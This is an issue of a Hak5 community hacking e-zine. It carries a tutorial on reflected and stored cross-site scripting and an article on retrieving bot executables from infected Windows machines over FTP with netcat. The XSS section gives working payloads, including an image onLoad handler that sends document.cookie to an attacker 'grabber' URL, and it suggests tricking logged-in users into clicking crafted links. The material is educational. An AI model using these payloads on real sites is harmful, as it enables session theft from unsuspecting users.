/------------------------------------------------------------------------\
  |                                                            _______     |
  |                                                           |       |    |
  |       ____    __   __    ____    __      _____    _____   |     __|    |
  |      / __ \  |  \ |  |  / __ \  |  |    /  _  \  /  ___|  |    |__     |
  |     /  __  \ |   \|  | /  __  \ |  |__ |  |_|  ||  |_---\ |___    \    |
  |    /__|  |__\|__|\___|/__|  |__\|_____| \_____/  \______| --__|   |    |
  |                                                          |        |    |
  |        a         n         a       l       o        g    |        |    |
  |                                                           \_______/    |
  |                                                                        |
  \-----------------------------------------------------------------<sprx>-/
  .  Issue # 03  .              |  The Hak.5   |              .            .
  :  -----|----  |------------  |   E - Zine   |  ------------|  ----|---  :
  |--------------|--            \--------------/            --|------------|
         --------------------------------------------------------------

   Analog.5 is a hacking eZine designed by the Hak5 community, for the Hak5
   community. The editors of Analog.5 ask you to create articles to appear
  in the ezine and help bring technolust to the masses. Articles can be any
  size, and submited by email. Almost all entries are instantly accepted.
  This zine is licensed under the Attribution-NonCommercial-ShareAlike 2.5
  license. If you don't want your work to be redistributed, do not submit.
                               Analog5@Live.com


          Famicoman               Gameman73                  Mubix       
      Famicoman@live.com     xxxxxxxxxxxxxxxxxx       Jd.mubix@gmail.com     
       Editor-In-Chief        Executive editor         Executive Editor


   Table Of Contents.
   Section.0.Analog.5: Update.....................................Famicoman
   Section.1.Web Application Penetration Testing....................Paradox
   Section.2.Botnet Hunting.......................................gameman73


       The Amazing Analog.5 Logo and Ascii Art was Designed by Sprecker    

  |--------------|--------------\______________/--------------|------------|
  :      |-----|----------------/              \-----------------|---|     :
  . Section 0  . |--------------|              |--------------|  .         .

                                Analog.5: Update

  Nothing real important this month. Mad props to gameman73. Also, if you
  want an RSS feed, make one yourself. I'm tired of this question. I'm 
  quite anti-RSS feeds. [This article keeps getting shorter :X ]
								
	-Famicoman
	 Famicoman@live.com
	 http://hackinacan.siteled.com



  |--------------|--------------\______________/--------------|------------|
  :      |-----|----------------/              \-----------------|---|     :
  . Section 1  . |--------------|              |--------------|  .         .

                 --[ Web Application Penetration Testing ]--

  With the recent proliferation of the Internet, the exponential growth in 
  the number of web-enabled users, and the advent of easy-to-use web 
  scripting languages, we have entered an era unlike any other in the 
  history of the Internet. Websites have become dynamic and responsive to 
  our input despite the inherent connectionless state of HTTP. Unfortunately
  powered by low-cost hosting packages and the availability of free 
  instructional materials we have developed a world of do-it-yourself web 
  apps coded on flawed precepts and implemented without any thought to 
  security. In other words, we have jumped at the opportunity to create our
  own applications but have not stopped to consider the effect that shoddy
  design can have on Web security. To paraphrase one Uncle Ben Parker, “
  With great power comes great responsibility.” [Ok, even I admit that was
  lame]

  Through the use of examples I have personally encountered I hope to 
  present an introduction to Website Penetration Testing and Cross-Site 
  Scripting (XSS). This is, by no means, a comprehensive text, but it 
  should form a solid foundation for the more-interested reader to build
  upon.

  However, it must be stressed that while Web Site Penetration Testing is 
  fun, challenging, and an incredibly useful skill, it must ONLY be 
  performed on hosts under your direct control, or on hosts that you have
  received explicit authorization to test (preferably in writing).

  Now that the dull serious bits are out of the way, lets start by taking 
  a look at XSS...

  >> Ok, so what is this whole Cross-Site Scripting all about? Do I need
  to be concerned for the safety of my tubes?!?! <<

  -- The what --

  Cross Site Scripting, or XSS, is the act of somehow "injecting" 
  executable JavaScript code into a web page so that it can be evaluated 
  and run by a clients’ web browser. [Ok, so that is a pretty simplified
  explanation, but it will serve our purposes just fine]. 

  An important thing to remember is that ALL XSS vulnerabilities rely on
  two factors: 1) a web site trusting the input from an outside source 
  to be safe, or 2) a web site performing faulty filtering on this 
  extraneous input.

  However before we go into any detail about code-injection strategies a
  question of greater importance remains unanswered... WTF do we want to
  inject JavaScript code into a website for anyway?

  --- The why ---

  Those of you familiar with JavaScript might be asking yourselves why
  exactly one would want to inject JavaScript into a website to begin
  with. It is well known that JavaScript has very little access to other
  applications, to the computer’s memory, to the file system, and 
  certainly to the host operating system. So then, what is the point
  of trying to penetrate another person’s site? 

  Put simply, so much of our lives involve Web applications in one form
  or another that now they have become significant "target areas" for 
  control or manipulation. Or rather, there is a great deal of 
  worthwhile information we can capture and manipulate if we can control
  this tier of the user’s day-to-day experience. In addition, when we 
  can place code on a website that we are not supposed to have control
  over we created a powerful mechanism to distribute false information,
  to spread exploit code, and to do anything our heart desires. 
  Furthermore, it is incredibly easy to do! 

  JavaScript also has the benefit of being a near-universal web browser 
  technology. In this day and age it is hard to find an average user 
  that doesn't have a browser that executes JavaScript code [unless 
  they are security conscious enough to whitelist it!].

  Finally, the vast majority of Virus Scanners offer NO protection
  against XSS vulnerabilities. Once a user has browsed a site with an
  XSS attack placed on it they are already 0wned (and probably in an
  entirely transparent manner!).

  >> So, like, if I have the XSS my website is pwn'd?!?!? <<

  Essentially.

  -- So what can we do with our injected JavaScript? --

  JavaScript has numerous built-in safety measures. One of the most 
  powerful being that JavaScript from one site CAN NOT access the data
  of another site. That is to say, I can't put some 31337 JavaScript 
  code on my personal domain, and have it load cookie data or 
  manipulate the page you have opened in another tab, window, or
  application.

  XSS defeats this JavaScript "limitation" by putting OUR code into the
  page we are trying to manipulate, giving it the “scope” of the target 
  domain and allowing all sorts of fun manipulations. In simple terms: 
  it avoids the constraint by making our code a part of the website that 
  we are exploiting. Since the browser doesn't know if any of the dynamic
  content wasn't intended to be rendered as html (or interpretted as 
  javascript) we aren't crossing any “domain boundaries” as far as it is
  concerned.

  >> Fun manipulations you say? ZOMG! Like what!?!?! <<

  Denial of service: We could remove every HTML element from a website on
  the client side, thus rendering a blank page. We could “on page load” 
  redirect to localhost or another domain.

  Credential stealing: We could access all of the cookies for a specific 
  domain. (This potentially gives us access to password hashes, session 
  keys, and anything else a site has placed into a cookie). You would be 
  surprised what some websites put in cookies assuming they are safe from 
  prying eyes and other users. 

  Local Network Exploits: A newer and more exciting payload for XSS is
  having the code run in the local users’ browser exploit the users’ Local
  Area Network to perform all sorts of fun tricks like network enumeration,
  router exploits, and the like.

  Other Fun Tricks: Hell, we can even replace every image on a page with 
  Goatse!

  >> OH GOD THE HORROR! <<

  There are essentially three forms of this kind of code-injection strategy.
  The First, Type 0, will be left out of this article because of the relative
  rarity of such injections. 

  -- The Two Types of XSS --

  -- Type 1 --

  Type 1 XSS exploits are the non-persistent variety. That is to say that once 
  you have performed the XSS inject, it will not last across multiple visits to 
  the site. This is the most common form of XSS vulnerability and is heavily 
  used by phishers and all manner of baddies.

  This type of attack essentially works like this: Bob sets up a website [Lets 
  call it Bob's Emporium of 1337 Strats]. Bob wants users to be able to search 
  his “Strategies Database” once they have logged into his website. So what 
  does he do? Bob fires up his text editor and hammers out a simple PHP file 
  that accepts an HTML POST and queries a database for an article that matches
  the users input, if no results are found in the DB, then he'll print an error 
  message. The format of the error message will be the following:

     "Oh gnoes! We couldn't find any entries that 
     contain $TEXT_TO_SEARCH_FOR !!!!"

  Obviously Bob's PHP script will replace $TEXT_TO_SEARCH_FOR with the text
  the user provided to the search code. Unfortunately for Bob, however, he 
  fails to clean the input given to his code. [Keep that in mind...].

  Now lets assume for a moment that Bob didn't leave any SQL Injection holes in
  his PHP/DB (a pretty big assumption in this case). What kind of fun can we 
  have with this kind of sloppy code in terms of XSS?

  Well what if we don't have a user account for Bob's Emporium of 1337 Strats. 
  [How will we ever stop being newbs!?!?!]. How could we gain the credentials 
  of another user? Since JavaScript doesn't let us cross the "domain boundary" 
  we can't access the cookies of a real user logged into Bob's Emporium from 
  one of our websites. Instead we have to get Bob's site to display our code 
  and then send the credentials to one of our websites.

  How can we do this you say? Easy. Imagine that Bob's search page is 
  accessible at the following URL:
	
	http://www.bobsemporiumof1337strats.com/search.php?text=starcraft

  When sent to that URL, a logged-in user will search for Starcraft strats.

  Since Bob doesn't clean the input he receives we could send a logged-in user 
  to the following URL for some... interesting... results.

  [Broken into two lines for document formatting reasons]

	http://www.bobsemporiumof1337strats.com/search.php?text=
	<script>alert(document.cookie);</script>No&nbsp;Results&nbsp;Found

  When logged-in users are tricked into clicking a crafted link such as the one 
  above they would be rather surprised to see their cookie information 
  presented to them in an alert box.

  There are two things to keep in mind in this case. A) You would probably want 
  to CAPTURE the cookie information and, somehow, not alert the user (we'll 
  cover this later). Also, B) You must somehow trick a logged-in user into 
  clicking this link. This is where your social engineering skillz0rs will come
  in handy.

  How does it work? Well, since Bob displays the text we searched for in the
  error message without parsing out HTML elements or the like, we are able to 
  "add" our bits of HTML/JavaScript to the real HTML of the page before it is
  ever sent to the user. As far as the user is concerned the text we added is
  present in Bob's original PHP file as static content.

  -- Type 2 --

  Type 2 XSS exploits are harder to find but the extra effort of trying to 
  find one is certainly rewarded. The only difference between Type 1 and Type
  2 is the fact that with a Type 2 exploit the exploit code lasts across 
  multiple requests. Essentially, this code becomes a part of the website 
  itself you are exploiting.

  How is this exploit better than Type 1? Well, with a Type 2 exploit we can
  plant the code in a section of the site known to be frequented by logged-in 
  users and then we merely have to wait. In this case, since the exploit is 
  "saved" to the very page we are exploiting, we don't have to use any method 
  of social engineering to trick users into viewing the page using our input 
  (such as a search string like in our previous example). In this case, it is 
  likely the users will just stumble upon the exploit code themselves.

  This form of exploit is especially popular with websites that allow 
  user-contributed content such as forums and social networking sites.

  Imagine the following scenario: Bob wants to set up a social networking site;
  in fact, he plans to allow users to enter their own HTML/CSS themed profile 
  pages that include rich content such as images, coloured text, and the like. 
  Bob again busts out some mad PHP-fu and produces a simple but effective 
  profile submission page that presents a text area for users to input HTML,
  accepts the input, saves it to a DB under the users’ name, and then renders
  the page for others. 

  Once again, unfortunately for Bob, he is a novice PHP coder and didn't put
  much thought into security. He again fails to validate the user input and 
  parse out potentially dangerous tags.

  What can we do to teach him the error of his ways you ask? Simple.

  >> Poor Bob :'( <<

  Why don't we create the following profile:

  [Again broken into multiple lines for formatting]

	<h3>I am a 1337 hax0rerrrr</h3>
	<img src="http://mysite.com/sexyPicture.jpg" onLoad=
    "javascript:document.location='http://mysite.com/grabber?cookie='+ 
    document.cookie'">
	<p>You'll never see this bit of HTML newblets!</p>

  As you can see, since Bob failed to validate user input we were able to 
  create a picture in our profile that upon load redirects Alice's web 
  browser to our cookie-grabbing website, providing her cookie information
  as a request parameter. 

  Things to note about this example: A) If you were actually going to exploit
  a website in this manner it might throw off some SERIOUS red flags when 
  every user that is sent to your page is redirected to another page and 
  never sent back. B) You would have to ensure you have set up the "grabber"
  website to catch the passed cookie information. [Or you could cleverly use
  your web server’s error log]

  How does this work? Once again it succeeds because Bob utilizes a faulty 
  input-scrubbing algorithm. Perhaps he only thought of the obvious: blocking 
  <script> tags, but failed to remember that we can use a combination of 
  regular   HTML tags, event properties, and inline JavaScript to achieve the 
  same thing.

  -- Part One Conclusion --

  >> Does this only work on n00bs then!?!? <<

  Does it only work on n00bs? No. 
  Will the techniques presented thus far only work on n00bs? Almost certainly. 

  However, now that you understand the basics of XSS exploits, why we are 
  doing it, and the basics of HOW we are doing it, we can move into more 
  advanced techniques for avoiding all but the most comprehensive of 
  filters.

  Tune in next month for all of this and more!

  [If you have found this article incredibly dull, then chances are you’ll
  enjoy next months segment a great deal more]

  >> Sweet! Same hak5 time, same hak5 channel! <<

	-Paradox (Dan)
	 paradox@binaryparadox.net  
  
  |--------------|--------------\______________/--------------|------------|
  :      |-----|----------------/              \-----------------|---|     :
  . Section 2  . |--------------|              |--------------|  .         .
  
                                 Botnet Hunting    
  
  Famicoman says he wants an article so here we go....

  I'm going to go over a brief description of how botnets work (at least how
  the 2 popular bots work), and how to find some. I guess ill get my warning 
  out now. 

  ***WARNING*** botnet owners typically don't like it when people come 
  snooping around their servers. If you don't want to potentially risk being
  hacked, or DDoS'ed, I would avoid actually doing this. ***END WARNING***. 

  Now that that is out of the way, lets continue. According to vnu.co.uk, the 
  two most popular bots are sdbot and gaobot. Typically they spread via 
  unpatched vulnerabilitys in windows. These bots are controlled through an 
  IRC server. When the bots are active, they connect to the server and join
  whatever room they were programmed to join. Often times, there will be a 
  topic with a command. The bot starts executing this command. The commands 
  could tell the bot to start spreading, print system information, start a 
  DDoS attack on a server, clone flood another irc server/channel, etc. 

  When a computer is exploited, it sends a batch file to the newly infected 
  computer that tells it to connect to a certain port on the zombie and 
  download the bot. This is done over FTP in Active mode. 

  So a simple to find random botnets is to just put a windows XP SP0 install 
  out on the internet and let it catch things. From there, you can get the 
  actual exe and figure out where it connects back to (either via wireshark, 
  or netstat.) But what if you're attempting to trace back a zombie to its 
  owner. That is also possible, provided you know the zombie's ip address. 

  To do this, I use nmap, netcat, and telnet. Theres no technical reason why a
  proper ftp client couldn't work, however there are some oddities about the
  ftp server hidden away on the bots that will confuse most ftp clients. I use
  nmap to find the ftp server's port (typically its a 5 digit port number,
  randomly generated when the bot is run), then telnet into it. From there, 
  you can type in..
  
	USER *something random*
	PASS *something random*

  Yes, the bots by default don't have actual usernames or passwords. I'm not
  sure if this is a configurable option on the bots or not, but I guess 
  whatever works. After that, you need to issue a PORT command. Now, this is
  tricky if your not familar with the ftp protocol. If your ip address is 
  w.x.y.z, your going to type in PORT w,x,y,z,G,H . G and H is the port 
  number... however there are some calculations to be done to know which 
  values you put in. The formula for calculating the port number is 
  ((G*256) + H), where H is under 256. So to find G, you would do integer 
  division on the port that you want open, divide by 256. The remainder of 
  that would then be H. Let me use an example.

  You want port 35366...  35366\256 (note the \,  that's integer division,
  this is different from /, proper division). That gives you 138, G. From 
  here, you can do 35366%256 (modulous operator, returns just the remainder).
  We get 38. So the actual port command would be 'PORT w,x,y,z,138,38'. 
  Hopefully thats understandable, if not, this is all ftp specifications so
  google will be of help. 

  Now we need to open up the port of your choosing. Make sure ports are 
  fowarded and such. Netcat is a very handy tool for listening on a 
  connection   and just dumping output to a file. 
  Run nc -l -p *port number* > file.bleh . This tells netcat to listen on
  whatever port you tell it and dump it to file.bleh. 

  Now our problem is that we don't know the file name. So what do we do? 
  Pick something! Turns out that while a proper user/pass isn't needed, it 
  also isn't picky about a filename and just returns the file anyway. So 
  type in GET blehbleh.bleh and watch netcat print out the exe. (Note: if 
  you have antivirus software on the computer with the netcat server, it 
  may go off. Use at your own risk.)

  Now you have a copy of the bot. What you do from here should be obvious,
  and in the interests of time, I won't go over it. I would like to make a 
  final important note. Read the warning above, and remember, in order to 
  help control the botnet population, please scan and disinfect your 
  computer. :)

  *Sources
  http://www.vnu.co.uk/vnunet/news/2187626/evil-trojans-twins-control
  http://slacksite.com/other/ftp.html
  Mad props to Manuel and Moonlit for proofreading again.
  
	-gameman73
  
  .  -----|----  |--------------|              |--------------|  ----|---  .
  |--------------|--            \--------------/            --|------------|
         --------------------------------------------------------------